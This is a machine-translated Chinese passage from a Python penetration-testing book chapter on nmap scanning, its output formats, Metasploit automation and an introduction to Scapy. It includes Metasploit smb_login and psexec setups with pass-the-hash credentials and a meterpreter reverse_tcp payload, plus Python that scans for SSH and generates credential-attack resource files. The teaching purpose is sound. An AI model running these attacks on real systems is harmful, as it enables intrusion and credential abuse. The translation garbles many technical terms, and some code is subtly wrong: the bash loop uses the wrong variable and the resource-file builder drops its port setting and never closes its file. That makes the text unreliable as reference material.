-ACK 扫描是三种 TCP 扫描类型中最罕见的,而且可能没有您想象的那么直接有用。让我们看看什么时候使用 ACK 扫描。这是一个缓慢的扫描,因此如果 SYN 或 TCP 扫描不能提供所需的结果,您将使用它。Nmap 今天相当智能;您通常不需要执行不同类型的扫描来验证所击中目标的类型。因此,您将尝试识别一个完全连接扫描无法使用的资源。这意味着您可能无法连接到主机进行进一步的攻击,因为您无法完成三方握手。 - -那么 ACK 扫描在哪里有用呢?人们经常问这个问题,答案是“防火墙”。ACK 扫描非常适合映射防火墙规则集。一些系统对 ACK 扫描的反应非常奇怪,并提供额外的数据作为回报,因此在执行 ACK 扫描时,请确保您的`tcpdump`在内联点击或系统上运行。以下是如何执行确认扫描的示例。按如下方式运行命令: - -``` -nmap -sA -vvv -p80 192.168.195.0/24 - -``` - -### 执行 UDP 扫描 - -你会看到大量的博客文章和书籍,还会遇到一些培训活动,这些活动突出了 UDP 是一个经常被忽视的协议这一事实。在以后的章节中,我们将强调这对一个组织来说是多么危险。UDP 扫描速度非常慢,而且由于 UDP 的端口数与 TCP 的端口数一样多,因此扫描这些端口将花费大量时间。此外,UDP 扫描缺少更好的术语谎言。他们通常会将事情报告为过滤/打开,这基本上意味着它不知道。 - -在非常大的环境中,这可能会令人恼火。它还不具备获取大部分 UDP 端口服务信息的全部功能。最常见的端口都有专门打包的扫描数据,这允许 nmap 确定端口是否真正打开以及存在什么服务,因为服务并不总是在默认端口上。当服务移动到 UDP 端口时,会对 nmap 返回的默认扫描数据产生影响,与 TCP 扫描相反,TCP 扫描的影响不大。 - -要执行 UDP 扫描,只需将扫描标志设置为`-sU`,如下所示: - -``` -nmap -sU -vvv -p161 192.168.195.0/24 - -``` - -## 执行 UDP 和 TCP 组合扫描 - -现在,您知道了如何运行主扫描,但是逐个运行 TCP 和 UDP 扫描可能需要很长时间。为了节省时间,您可以通过为两种类型的扫描指定端口来组合资源扫描。然而,要聪明一点;如果您在此扫描中使用了大量端口,则将永远无法完成。因此,此扫描非常适合定位顶级端口,您可以使用这些端口识别最有可能被破坏的易受攻击资源,例如: - - -| - -服务类型 - - | - -通用端口号 - - | - -协议 - - | - -服务 - - | -| --- | --- | --- | --- | -| 数据库 | `1433` | 传输控制协议 | Microsoft 结构化查询语言(MSSQL)服务器 | -| `1434` | UDP | SQL Server 浏览器服务 | -| `3306` | 传输控制协议 | MySQL | -| `5433` | 传输控制协议 | PostgresSQL 服务器 | -| 远程文件服务 | `2049` | 传输控制协议 | 网络文件服务(NFS) | -| `111` | 传输控制协议 | Sun 远程过程调用(RPP) | -| `445` | 传输控制协议 | 服务器消息块(SMB) | -| `21` | 传输控制协议 | 文件传输协议(FTP) | -| 远程管理接口 | `3389` | 传输控制协议 | 远程桌面协议(RDP) | -| `22` | 传输控制协议 | 安全 Shell(SSH) | -| `23` | 传输控制协议 | 电信网 | -| `6000 to 6005` | 传输控制协议 | x11 | -| `5900` | 传输控制协议 | 虚拟网络连接器(VNC) | -| `9999` | 传输控制协议 | 传统网络设备的已知远程管理接口 | -| 接口和系统/用户枚举服务 | `25` | 传输控制协议 | 发送邮件传输协议(SMTP) | -| `79` | 传输控制协议 | 手指 | -| `161` | UDP | 简单网络管理协议 | -| 网络服务器 | `80, 443` | 传输控制协议 | 网络服务 | -| `8080, 8443, and 8888` | 传输控制协议 | Tomcat 管理页面、JBoss 管理页面、系统管理面板 | -| **虚拟专用网**(**VPN**管理详情 | `500` | UDP | Internet 安全关联和密钥管理协议(ISAKMP) | - -要执行组合扫描,只需标记要使用的两种扫描类型,并逐项列出每个协议要扫描的端口。这是通过提供`-p`选项来完成的,然后是用于 UPD 端口的`U:`和用于 TCP 端口的`T:`。请参见以下示例,为了简洁起见,该示例仅突出显示了几个端口: - -``` -nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24 - -``` - -## 跳过操作系统扫描 - -我看到许多新的评估员兴高采烈地在操作系统上搜索 nmap。这是我的团队成员知道的识别不定期评估企业环境的人的最快方法之一。原因如下: - -* 操作系统扫描非常嘈杂 -* 它可以关闭遗留系统,因为它执行链式扫描以确定响应并验证系统类型 -* 对于旧的或遗留的系统,它可能具有破坏性 -* 在过去,某些打印机会出现问题,包括墨水浸透的黑色页面,直到它们被关闭或用完纸张 - -经验丰富的评估人员不使用此扫描的最大原因是,它在今天几乎没有什么价值。您可以使用其他方法更快、更容易、更安静地识别此扫描提供的详细信息。例如,如果您看到端口`445`打开,则它可能是运行 Samba 变体的系统,也可能是 Windows 主机。与此扫描相比,了解每个操作系统的端口、服务标签和版本将更好地识别操作系统和版本。此外,如果您无法通过此方法识别系统,nmap 也不太可能做到这一点,当然这取决于您的技能水平。 - -### 提示 - -随着经验的积累,您将学习如何使用诸如 Responder、tcpdump 和 Wireshark 之类的工具被动地识别活动主机。这意味着您不需要扫描主机,实际上,您正在变得更安静。这也是对真实恶意参与者的更好模拟。 - -## 不同的输出类型 - -Nmap 有四种输出类型,根据具体情况,它们非常有用。它们与屏幕、`STDOUT`或三种不同的文件类型相关。这些文件类型有不同的用途和优点。有 nmap 输出,看起来与`STDOUT`相同,但只是在一个文件中;这是通过`-oN`完成的。然后,有`Grepable`和可扩展标记语言(XML)输出,如下所述。使用`-oA`标志可同时产生所有输出。 - -### 了解 Nmap 可分级输出 - -还有可灰显的输出,说实话,这对于灰显数据来说并不是那么好。它可以提供一种简单的方法来提取数据的组成部分,以快速、轻松地构建列表,但要正确地用`grep`、`sed`和`awk`解析它,实际上必须插入字符来表示应该提取数据的位置。可以通过标记`-oG`标志来执行可分级输出。 - -在您拥有一个可归格的文件之后,解析数据的最有用的方法是键入该文件的某些组件。您通常在寻找与特定服务相关的开放端口。因此,您可以通过执行以下命令来提取这些详细信息: - -``` -cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >> /root/Desktop/smb_hosts_list - -``` - -该示例显示一个可归格文件被推送到`STDOUT`,然后通过管道传输到`grep`,后者搜索打开的`445 ports`。这只能通过`grep`和剪切来完成,但它非常容易阅读和理解。一旦找到端口,cut 将提取 IP 地址并将其推送到一个称为`smb_hosts_lists`的平面文件中。如果查看`nmap_scan.gnmap`文件,可能会看到包含以下详细信息的行: - -``` -Host: 192.168.195.112 () Ports: 445/open/tcp/ - -``` - -如您所见,该行包含`445/open/tcp`详细信息,这允许我们针对该特定行。然后,我们使用空格作为定界键进行剪切,并选择字段 2,其中,如果按空格计算数据字段,则可以找到 IP 地址。此技术非常常见,可用于快速识别 IP 地址打开的内容,并基于服务或端口创建多个平面文件。 - -如[第 1 章](01.html "Chapter 1. Understanding the Penetration Testing Methodology")所示,*了解渗透测试方法*后,您可以使用 Metasploit 模块中的`rhosts`字段,通过 CIDR 符号或范围来定位主机。创建平面文件时,可以使用 Metasploit 模块通过引用平面文件来访问主机列表。要运行 Metasploit 控制台,请执行以下命令: - -``` -msfconsole - -``` - -如果从命令行运行 Metasploit Professional,请使用以下命令: - -``` -msfpro - -``` - -现在来看这个例子,其中我们将尝试查看我们之前破解的密码是否在网络其余部分的任何主机上工作: - -``` -use auxiliary/scanner/smb/smb_login -set SMBUser administrator -set SMBPass test -set SMBDomain Workgroup -set RHOSTS file:/root/Desktop/smb_hosts_list -run - -``` - -`use`命令选择本例中要使用`smb_login`模块的模块,该模块验证**服务器消息块**(**SMB**)凭证。`SMBUser`集合选择您要对其执行此攻击的用户名。`SMBPass`集合选择本模块中要使用的密码。设置`SMBDomain`字段允许您为组织设置域。`run`命令执行辅助模块。在早些年,您必须使用`run`来执行一个辅助模块,并对一个利用模块进行利用。如今,这些模块确实是可互换的,是开发后模块的例外,需要`run`,如[所示 https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/](https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/) 。 - -### 提示 - -如果您使用本地帐户进行攻击,则应将域设置为工作组。攻击域帐户时,应将域设置为组织的实际域。 - -Metasploit Professional 是一个帮助优化渗透测试工作的工具,它有一个 web**图形用户界面**(GUI)。Metasploit pro 提供了许多出色的功能,但是如果您需要在受防火墙保护的多个网络层之间切换,控制台是最佳选择。要了解如何执行自动旋转,您可以在[找到详细信息 https://www.offensive-security.com/metasploit-unleashed/pivoting/](https://www.offensive-security.com/metasploit-unleashed/pivoting/) 。要了解如何执行手动枢轴,请参阅[https://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot](https://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot) ,包括基于端口的旋转、手动路由和 SOCKS 代理。 - -这种攻击方式非常普遍;您可以查找凭据,确定凭据可能使用的服务,然后为目标主机构建平面文件。接下来,您将引用这些平面文件来检查主机是否存在漏洞。一旦您确认这些主机易受攻击,您可以使用**进程执行****PSEXEC**攻击(如果您有哈希)或标准认证的 PSEXEC,通过**传递哈希****PtH**攻击利用它们,如下代码所示: - -### 提示 - -PtH 是一种攻击,它利用了与系统如何在网络上进行身份验证相关的本机 Windows 弱点。不需要质询/响应身份验证方法,哈希密码可以直接传递给主机。这意味着您不必破解**局域网管理器****LM**或**新技术 LM****NTLM**哈希。许多 Metasploit 模块可以对 SMB 服务使用凭据或哈希。 - -``` -msfconsole -use exploit/windows/smb/psexec -set SMBUser administrator -set SMBPass test -set SMBDomain Workgroup -set payload windows/meterpreter/reverse_tcp -set RHOST 192.168.195.112 -set LPORT 443 -exploit -j - -``` - -set`payload`命令选择要在主机上丢弃的有效负载,然后执行。`reverse_tcp`有效载荷拨回攻击箱以建立连接。如果它是一个`bind`有效载荷,那么在执行后,攻击盒将直接连接到侦听端口。`RHOST`和`LPORT`表示我们要连接的目标主机,以及我们要监听的用于返回通信的攻击盒上的端口。`exploit -j`运行漏洞攻击,然后对结果进行后台处理,这允许您专注于其他事情,根据需要使用`session -i `返回会话。请记住,执行`smb_login`或`psexec`不需要破解的凭据;相反,您可以只使用 PtH。在这种情况下,`smb_login`命令的文本看起来像以下代码: - -### 注 - -当流程执行完成时,将删除掉在框上的所有有效负载。如果执行过程中断,有效负载可能会留在系统上。如果未正确配置工具以删除检测到的进程的生成器,则使用监视进程的工具的安全性更好的环境可能会有这样的实例。 - -``` -msfconsole -use auxiliary/scanner/smb/smb_login -set SMBUser administrator -set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -set SMBDomain Workgroup -set RHOSTS file:/root/Desktop/smb_hosts_list -run - -``` - -以下配置将用于`psexec`命令: - -``` -msfconsole -use exploit/windows/smb/psexec -set SMBUser administrator -set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 -set SMBDomain Workgroup -set payload windows/meterpreter/reverse_tcp -set RHOST 192.168.195.112 -set LPORT 443 -exploit -j - -``` - -现在您已经了解了`nmap grepable`输出的目的和好处,让我们看看 XML 输出的好处。在继续之前,应该注意一项,这将帮助您了解 XML 的好处是什么。查看`nmap grepable`输出的线路。您可以看到,用于区分数据字段的特殊字符很少;这意味着您可以轻松地只提取信息的一小部分。要获得更大的数量,必须使用`sed`和`awk`插入轮廓线。这是一个痛苦的过程,但谢天谢地,您手头有 XML 输出的解决方案。 - -### 理解 Nmap XML 输出 - -XML 构建使用子组件和父组件标记数据集的数据树。这允许在遍历列出父关系和子关系的树后,使用特定的标签抓取轻松直接地解析数据。最重要的是,正因为如此,XML 输出可以由其他工具(如 Metasploit)导入。您可以使用`-oX`选项轻松地仅输出为 XML。这些好处的更多细节将在后面的章节中介绍,特别是在[第 9 章](09.html "Chapter 9. Automating Reports and Tasks with Python")中使用 Python 解析 XML 时,*使用 Python*自动生成报告和任务,以帮助自动生成报告数据。 - -## Nmap 脚本引擎 - -Nmap 有许多为评估员提供独特功能的脚本。它们可以帮助识别易受攻击的服务,利用系统或与复杂系统组件交互。这些脚本是用一种称为 Lua 的语言编写的,这里将不介绍这种语言。这些脚本可以在 Kali 的`/usr/share/nmap/scripts`中找到。每个脚本都可以使用`--script`选项调用,然后在逗号分隔列表中调用。在对目标系统执行脚本之前,请确保您知道每个脚本的作用,因为可能会对目标系统造成意外后果。 - -### 注 - -有关`nmap`脚本的更多详细信息,请访问[http://nmap.org/book/man-nse.html](http://nmap.org/book/man-nse.html) 。有关`nmap`脚本的详细信息,请参见[http://nmap.org/nsedoc/](http://nmap.org/nsedoc/) 及其目的和类别关联。 - -脚本可以由它们所属的类别调用,也可以从您不希望它们成为其中一部分的类别中删除。例如,您可以看到以下命令使用所有默认或安全脚本(不以`http-`开头)运行`nmap`工具: - -``` -nmap --script "(default or safe) and not http-*" - -``` - -到目前为止,您应该已经非常了解如何使用 nmap 及其功能。让我们看看如何使用 nmap 提高效率。这是因为渗透测试的最大限制因素是时间,在这段时间内,我们需要简洁地识别易受攻击的目标。 - -## Nmap 扫描有效 - -Nmap 是一个很好的工具,但您可能会受到不良网络设计、大目标集和不受限制的端口范围的限制。因此,提高效率的诀窍是限制扫描端口的数量,直到知道哪些目标处于活动状态。这可以通过针对具有活动设备的子网并仅扫描这些范围来实现。最简单的方法是查找网络中处于活动状态的默认网关。因此,如果您看到您的默认网关是`192.168.1.1`,则在该 C 类网络中,其他默认网关可能在`192.168.2.1`等区域处于活动状态。ping 默认网关是一个有点嘈杂的过程,但它通常与大多数标称网络流量一致。 - -Nmap 有一个内置功能,允许您使用`--top-ports`选项定位统计上更常见的端口,然后使用数字进行跟踪。例如,您可以使用`--top-ports 10`选项查找前 10 个端口。这些统计数据是通过对面向互联网的主机进行长期扫描发现的,这意味着这些统计数据是基于可能暴露在互联网上的内容。因此,请记住,如果您正在进行内部网络评估,此选项可能无法提供预期的结果。 - -作为一名评估员,您通常会被提供一系列评估目标。有时,这个范围非常大。这意味着您需要尝试通过查看哪些位置的默认网关处于活动状态来识别活动段。每个活动的默认网关和相关子网将告诉您应该扫描的位置。因此,如果您有一个默认网关`192.168.1.1`,并且您的子网是`255.255.255.0`或`/24`,那么您应该检查从`192.168.2.1`到`192.168.255.1`的其他默认网关。当您 ping 每个默认网关时,如果它响应,您就知道该子网中可能有活动主机。这可以通过著名的 bash`for`循环轻松完成: - -``` -for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \\n ' ' | awk '/1 received/ {print $2}'; done - -``` - -这意味着您必须查找默认网关地址和子网,以验证所使用的每个接口的详细信息。如果您可以使用 Python 脚本自动查找这些系统详细信息,该怎么办?要开始这段旅程,首先提取`netifaces`库接口的细节。 - -### 确定您与 netifaces 库的接口详细信息 - -我们在[第 2 章](02.html "Chapter 2. The Basics of Python Scripting")*Python 脚本基础*中演示了如何使用 Python 脚本查找接口细节。它被设计用来查找任何系统的详细信息,而不考虑库,但它只根据提供的接口名称列表查找地址。此外,这是一个脚本,不会被认为是非常紧张。相反,我们可以使用 Python 的`netifaces`库来迭代地址并发现细节。 - -此脚本使用许多函数来完成特定任务。包括的功能有`get_networks`、`get_addresses`、`get_gateways`和`get_interfaces`。这些函数正是您所期望的。第一个函数`get_interfaces`查找该系统的所有相关接口: - -``` -def get_interfaces(): - interfaces = netifaces.interfaces() - return interfaces -``` - -第二个函数标识网关并将其作为字典返回: - -``` -def get_gateways(): - gateway_dict = {} - gws = netifaces.gateways() - for gw in gws: - try: - gateway_iface = gws[gw][netifaces.AF_INET] - gateway_ip, iface = gateway_iface[0], gateway_iface[1] - gw_list =[gateway_ip, iface] - gateway_dict[gw]=gw_list - except: - pass - return gateway_dict -``` - -第三个功能标识每个接口的地址,包括 MAC 地址、接口地址(通常为 IPv4)、广播地址和网络掩码。所有这些详细信息都是通过传递接口名称的函数获得的: - -``` -def get_addresses(interface): - addrs = netifaces.ifaddresses(interface) - link_addr = addrs[netifaces.AF_LINK] - iface_addrs = addrs[netifaces.AF_INET] - iface_dict = iface_addrs[0] - link_dict = link_addr[0] - hwaddr = link_dict.get('addr') - iface_addr = iface_dict.get('addr') - iface_broadcast = iface_dict.get('broadcast') - iface_netmask = iface_dict.get('netmask') - return hwaddr, iface_addr, iface_broadcast, iface_netmask -``` - -第四个也是最后一个功能从`get_gateways`功能提供给接口的字典中识别网关 IP。然后它调用`get_addresses`函数来识别接口的其余细节。所有这些都将加载到由接口名称键入的字典中: - -``` -def get_networks(gateways_dict): - networks_dict = {} - for key, value in gateways.iteritems(): - gateway_ip, iface = value[0], value[1] - hwaddress, addr, broadcast, netmask = get_addresses(iface) - network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, - 'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask} - networks_dict[iface] = network - return networks_dict -``` - -### 注 - -完整的脚本代码可在[中找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ifacesdetails.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ifacesdetails.py) 。 - -以下屏幕截图突出显示了此脚本的执行情况: - -![Determining your interface details with the netifaces library](graphics/B04315_03_8.jpg) - -现在,我们知道这与扫描和识别目标没有直接关系,而是用于消除目标。这些目标是你的系统;一旦开始自动评估某些系统,您将看到您不希望自己的系统出现在列表中。我们将重点介绍如何使用 nmap 库扫描系统,识别目标服务,然后消除任何可能是我们系统的 IP 地址。 - -# Python 的 Nmap 库 - -Python 有一些库,允许直接执行`nmap`扫描,可以通过交互式解释器,也可以通过构建多方面的攻击工具。在本例中,让我们使用`nmap`库扫描本地 Kali 实例,寻找**安全 Shell**(**SSH**服务端口。通过执行`/etc/init.d/ssh start`命令,确保服务已启动。然后用`pip install python-nmap`安装 Python`nmap`库。 - -您现在可以通过直接使用库、导入库并将`nmap.PortScanner()`赋值给变量来执行扫描。然后可以使用该实例化变量执行扫描。让我们在交互式解释器中执行一个示例扫描。以下是使用交互式 Python 解释器对本地 Kali 实例扫描`port 22`的示例: - -![Nmap libraries for Python](graphics/B04315_03_9.jpg) - -正如你所见,这是一本字典,每一本字典都可以根据需要调用。通过交互式解释器执行扫描需要花费更多的精力,但在您可能已经在有 Python 的环境中站稳脚跟的环境中,它非常有用,并且它将允许您在参与过程中安装库。这样做的更大原因是编写方法脚本,使目标攻击更容易。 - -为了突出显示这一点,我们可以创建一个脚本,该脚本接受 CLI 参数以扫描特定的主机和端口。因为我们接受 CLI 的参数,所以需要导入 sys 库,因为我们正在扫描`nmap`库,所以需要导入`nmap`。请记住在导入非 Python 本机库时使用条件处理程序;它使工具的可维护性变得简单,而且更加专业: - -``` -import sys -try: - import nmap -except: - sys.exit("[!] Install the nmap library: pip install python-nmap") -``` - -导入库后,脚本可以设计参数要求。我们至少需要两个论点。这意味着,如果参数少于两个或多于两个,脚本将失败并显示一条帮助消息。请记住,脚本名称作为第一个参数计算,因此我们必须将其递增到`3`。所需参数的结果生成以下代码: - -``` -# Argument Validator -if len(sys.argv) != 3: - sys.exit("Please provide two arguments the first being the targets the second the ports") -ports = str(sys.argv[2]) -addrs = str(sys.argv[1]) -``` - -现在,如果我们在没有任何参数的情况下运行`nmap_scanner.py`脚本,我们应该会得到一条错误消息,如下面的屏幕截图所示: - -![Nmap libraries for Python](graphics/B04315_03_10.jpg) - -这是脚本的基本 shell,您可以在其中构建实际的扫描仪。这是一个非常小的组件,相当于实例化类,然后将地址和端口传递给它,然后打印出来: - -``` -scanner = nmap.PortScanner() -scanner.scan(addrs, ports) -for host in scanner.all_hosts(): - if not scanner[host].hostname(): - print("The host's IP address is %s and it's hostname was not found") % (host) - else: - print("The host's IP address is %s and it's hostname is %s") % (host, scanner[host].hostname()) -``` - -这个非常小的脚本为您提供了快速执行必要扫描的方法,如下面的屏幕截图所示。这个测试显示了系统的虚拟接口,我已经用本地主机标识符和接口 IP 地址对其进行了测试。当您使用 localhost 标识符进行扫描时,有两件事需要注意:您将收到一个主机名。如果扫描系统的 IP 地址而不查询名称服务,则将无法识别主机名。以下屏幕截图显示了此脚本的输出: - -![Nmap libraries for Python](graphics/B04315_03_11.jpg) - -### 注 - -此脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_scannner.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/nmap_scannner.py) 。 - -因此,这里的最大好处是,现在您可以开始在一定程度上自动化系统的开发。这些类型的自动化应该是相对良性的,以便在出现故障时不会对环境的机密性、完整性或可用性造成损害或影响。您可以通过**Metasploit 框架的远程过程调用**(**MSFRPC**来实现,或者通过自动构建您可以执行的资源文件来实现。对于这个例子,让我们简单地构建一个资源文件,它可以执行凭证攻击来检查默认的 Kali 凭证;你确实改变了他们,对吗? - -我们需要像在 Metasploit 控制台中执行的命令一样,通过向文件写入行来生成文件。因此,通过执行`search ssh_login`查看 Metasploit 的`ssh_login`模块,然后在控制台加载`msfconsole`后显示选项。确定所需的选项。以下屏幕截图显示了可以和必须设置的项目示例: - -![Nmap libraries for Python](graphics/B04315_03_12.jpg) - -其中一些项已经设置,但缺少的组件是远程主机的 IP 地址和我们将要测试的凭据。默认端口已设置,但如果脚本设计用于测试不同的端口,则也必须设置此端口。您会注意到凭据不是必填字段,但要执行凭据攻击,您确实需要它们。为了创建这个,我们将在 Python 中打开并使用`write`函数创建一个文件。我们还将把缓冲区大小设置为零,这样数据就会自动写入到文件中,这与操作系统默认将数据刷新到文件中不同。 - -脚本还将创建一个单独的资源文件,其中包含它标识的每个主机的 IP 地址。运行此脚本的另一个好处是,它创建了一个已启用 SSH 的目标列表。将来,您应该尝试构建不是为测试单个服务而设计的脚本,但这是一个很好的示例。我们将在前面的脚本概念的基础上进行构建,但是我们将再次构建函数来模块化它。这将允许您在将来更容易地将其转换为类。首先,我们添加了`ifacedetails.py`脚本的所有函数和导入的库。然后,我们将修改脚本的参数代码,以便它接受更多参数: - -``` -# Argument Validator -if len(sys.argv) != 5: - sys.exit("[!] Please provide four arguments the first being the targets the second the ports, the third the username, and the fourth the password") -password = str(sys.argv[4]) -username = str(sys.argv[3]) -ports = str(sys.argv[2]) -hosts = str(sys.argv[1]) -``` - -现在构建一个函数,该函数将接受传递给它的详细信息,从而创建一个资源文件。您将创建包含必要值的字符串变量,这些值将写入`ssh_login.rc`文件。然后,如前所述,使用简单的 open 命令将细节写入文件,并使用相关的`bufsize`或`0`。该文件现在已写入字符串值。流程完成后,文件将关闭。当您查看`set_rhosts`值的字符串值时,请记住。请注意,它指向一个文件,该文件每行包含一个 IP 地址。因此,我们需要生成此文件,然后将其传递给此函数: - -``` -def resource_file_builder(dir, user, passwd, ips, port_num, hosts_file): - ssh_login_rc = "%s/ssh_login.rc" % (dir) - bufsize=0 - set_module = "use auxiliary/scanner/ssh/ssh_login \n" - set_user = "set username " + username + "\n" - set_pass = "set password " + password + "\n" - set_rhosts = "set rhosts file:" + hosts_file + "\n" - set_rport = "set rport" + ports + "\n" - execute = "run\n" - f = open(ssh_login_rc, 'w', bufsize) - f.write(set_module) - f.write(set_user) - f.write(set_pass) - f.write(set_rhosts) - f.write(execute) - f.closed -``` - -接下来,让我们构建实际的`target_identifier`函数,它将使用提供的端口和 IP 使用 nmap 库扫描目标。首先,它清除`ssh_hosts`文件的内容。然后检查扫描是否成功。如果扫描成功,脚本将为通过扫描识别的每个主机启动`for`查找。对于这些主机中的每一个,它都加载接口字典并遍历键和值对。 - -键保存接口名称,值是一个嵌入式字典,它保存映射到命名键的接口的每个值的详细信息,如前面的`ifacedetails.py`脚本所示。将`'addr'`键的值与扫描得到的`host`值进行比较。如果两者匹配,则主机属于评估员的框,而不是被评估的组织。发生这种情况时,主机值被设置为`None`,并且目标不会添加到`ssh_hosts`文件中。最后一项检查是验证该端口实际上是一个 SSH 端口,并且该端口已打开。然后将该值写入`ssh_hosts`文件并返回到主函数。脚本没有阻止 localhost IP 地址,因为我们将保留在测试和比较中,如果您希望包含此功能,请修改此模块: - -``` -def target_identifier(dir,user,passwd,ips,port_num,ifaces): - bufsize = 0 - ssh_hosts = "%s/ssh_hosts" % (dir) - scanner = nmap.PortScanner() - scanner.scan(ips, port_num) - open(ssh_hosts, 'w').close() - if scanner.all_hosts(): - e = open(ssh_hosts, 'a', bufsize) - else: - sys.exit("[!] No viable targets were found!") - for host in scanner.all_hosts(): - for k,v in ifaces.iteritems(): - if v['addr'] == host: - print("[-] Removing %s from target list since it - belongs to your interface!") % (host) - host = None - if host != None: - home_dir="/root" - ssh_hosts = "%s/ssh_hosts" % (home_dir) - bufsize=0 - e = open(ssh_hosts, 'a', bufsize) - if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']: - if 'open' in scanner[host]['tcp'][int(port_num)]['state']: - print("[+] Adding host %s to %s since the service is active on %s") % - (host,ssh_hosts,port_num) - hostdata=host + "\n" - e.write(hostdata) - if not scanner.all_hosts(): - e.closed - if ssh_hosts: - return ssh_hosts -``` - -现在,脚本需要在执行之前设置一些默认值。最简单的方法是在参数验证器之后设置它们。查看您的脚本,消除函数之外的重复项(如果有),并将以下代码放在参数验证器之后: - -``` -home_dir="/root" -gateways = {} -network_ifaces={} -``` - -脚本的最后一个更改是包含一个测试,以查看它是作为独立脚本执行还是作为导入的模块执行。我们已经在本机上执行了这些脚本,但最好的做法是包含一个简单的检查,以便将脚本转换为类。此检查所做的唯一一件事是查看执行的模块的名称是否为`main`,如果是,则表示它是一个独立脚本。当这种情况发生时,它将`__name__`设置为`'__main__'`,表示独立脚本。 - -看看下面的代码,它按照需要的顺序执行相关函数。这样做是为了确定要利用的可行主机,然后将详细信息传递给资源文件生成器: - -``` -if __name__ == '__main__': - gateways = get_gateways() - network_ifaces = get_networks(gateways) - hosts_file = target_identifier(home_dir,username, - password,hosts,ports,network_ifaces) - resource_file_builder(home_dir, username, - password, hosts, ports, hosts_file) -``` - -你经常会在互联网上看到调用`main()`函数而不是一堆函数的脚本。这在功能上等同于我们在这里所做的,但是您可以在包含前面详细信息的`if __name__ == '__main__':`之上创建一个`main()`函数,然后按照此处突出显示的方式执行它: - -``` -if __name__ == '__main__': - main() -``` - -通过这些微小的更改,您可以根据扫描结果自动生成资源文件。最后,将脚本名称更改为`ssh_login.py`,然后保存并运行它。当脚本运行时,它会生成配置和执行利用漏洞所需的代码。然后您可以使用`-r`选项运行资源文件,如下面的屏幕截图所示。正如您可能已经注意到的,我做了一个测试运行,其中包括我的接口 IP 地址,以突出显示内置的错误检查,然后对 localhost 执行测试。我验证了资源文件的创建是否正确,然后运行了它。 - -![Nmap libraries for Python](graphics/B04315_03_13.jpg) - -进入控制台后,您可以看到资源文件自己执行了攻击,结果如下。绿色的`+`标志表示卡利盒子上打开了一个外壳。 - -![Nmap libraries for Python](graphics/B04315_03_14.jpg) - -也可以在 Metasploit 中使用后跟文件名的`resource`命令调用资源文件。可以使用以下命令资源`ssh_login.rc`对此攻击执行此操作,这将产生相同的结果。然后,您可以通过使用`session -i `命令启动与新会话的交互来查看与新会话的交互。 - -以下屏幕截图显示了 Kali 实例中用户名和主机名的验证: - -![Nmap libraries for Python](graphics/B04315_03_15.jpg) - -当然,你不想对你的普通攻击箱这样做,但它提供了三个关键物品,需要用脚踩它们。始终更改默认密码;否则,即使在订婚期间,你也可能成为受害者。另外,将您的 Kali 实例主机名更改为防御网络工具无法识别的内容,并在使用之前始终测试您的漏洞利用情况。 - -### 注 - -有关 Python nmap 库的更多详细信息,请访问[http://xael.org/norman/python/python-nmap/](http://xael.org/norman/python/python-nmap/) 。 - -现在,了解了 nmap、nmap 库和 Metasploit 资源文件的自动生成,您就可以开始学习 scapy 了。 - -### 注 - -此脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ssh_login.py](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/ssh_login.py) 。 - -# Python 的 Scapy 库 - -欢迎使用 Scapy,Python 库,该库设计用于操作、发送和读取数据包。Scapy 是具有大量适用性的工具之一,但使用起来似乎很复杂。在开始之前,我们需要了解一些关于 Scapy 的基本规则,这将使创建脚本变得更加容易。 - -首先,请参阅前面的章节,了解 TCP 标志以及它们在 Scapy 中的表示方式。您需要查看前面提到的标志及其相关位置才能使用它们。其次,当 Scapy 接收到发送的数据包的响应时,标志由 TCP 报头的第 13 个八位字节内的八进制格式的二进制位表示。因此,您必须阅读基于此信息的响应。 - -请看下表,该表表示每个标志设置时的二进制位置值: - -![The Scapy library for Python](graphics/B04315_03_16.jpg) - -因此,当您从 TCP 数据包读取响应并查找特定类型的标志时,您必须进行计算。上表将帮助您简化此过程,但请记住,如果您曾经玩过或使用过`tcpdump`,则传输的材料是相同的。例如,如果您正在查找 SYN 数据包,您将看到第 13 个八位组的值为 2。如果它是 SYN+ACK,则值为 18。只需将标志值加在一起,您就可以得到所需的内容。 - -要记住的下一件事是,如果您尝试 ping 环回接口或 localhost,数据包将不会被组装。这是因为内核拦截请求并通过系统的 TCP/IP 堆栈在内部处理它。这是人们在使用 Scapy 时经常犯的错误之一,并且经常退出。因此,与其埋头修复数据包,以便它们能够命中您自己的 Kali 实例,不如启动您的 Metasploitable 实例,或者尝试测试您的默认网关。 - -### 提示 - -如果您想了解更多关于测试环回接口或本地主机值的信息,可以在[找到解决方案 http://www.secdev.org/projects/scapy/doc/troubleshooting.html](http://www.secdev.org/projects/scapy/doc/troubleshooting.html) 。 - -因此,我们将重点介绍测试连接,然后使用 Scapy 扫描 web 端口。您必须了解 Scapy 有多种发送和接收数据包的方法,根据您想要提取的数据,可能不需要复杂的方法。首先,看看你想要完成什么。如果你想保持独立于操作系统,你应该使用两种方法:第三层的`sr()`和第二层的`srp()`。接下来,如果该方法在函数名后面有`1`,但在`()`符号之前,例如`sr1()`,则表示它只返回第一个答案。这对于实现大多数结果来说已经足够了,但是如果一个流中有多个数据包需要评估,那么您将希望放弃这些类型的方法。 - -接下来是`send()`方法,它使用第 2 层的操作系统默认值和第 3 层及以上的一些操作系统功能。最后,还有`sendp()`,它使用一个自定义的第 2 